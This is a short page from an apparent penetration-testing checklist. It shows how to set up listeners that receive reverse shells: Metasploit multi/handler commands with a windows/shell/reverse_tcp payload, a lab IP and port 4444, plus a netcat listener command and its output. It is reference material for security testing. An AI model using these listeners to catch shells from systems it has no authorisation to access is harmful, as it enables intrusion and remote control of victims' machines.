> For the complete documentation index, see [llms.txt](https://darshan-2.gitbook.io/penetration-testing-checklist/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://darshan-2.gitbook.io/penetration-testing-checklist/reverse-shells/listener-setup.md).

# Listener Setup

### Metasploit multi/handler listener

```
use exploit/multi/handler
// The payload should be the same as the one, you used to generate 
the payload using msfvenom
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp

msf exploit(multi/handler) > set lhost 10.10.14.27
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
```

### Netcat listener for unstaged payload

```
nc -nvlp 4444
```

```
nc: listening on :: 4444 ...
```

```
nc: listening on 0.0.0.0 4444 ...
```
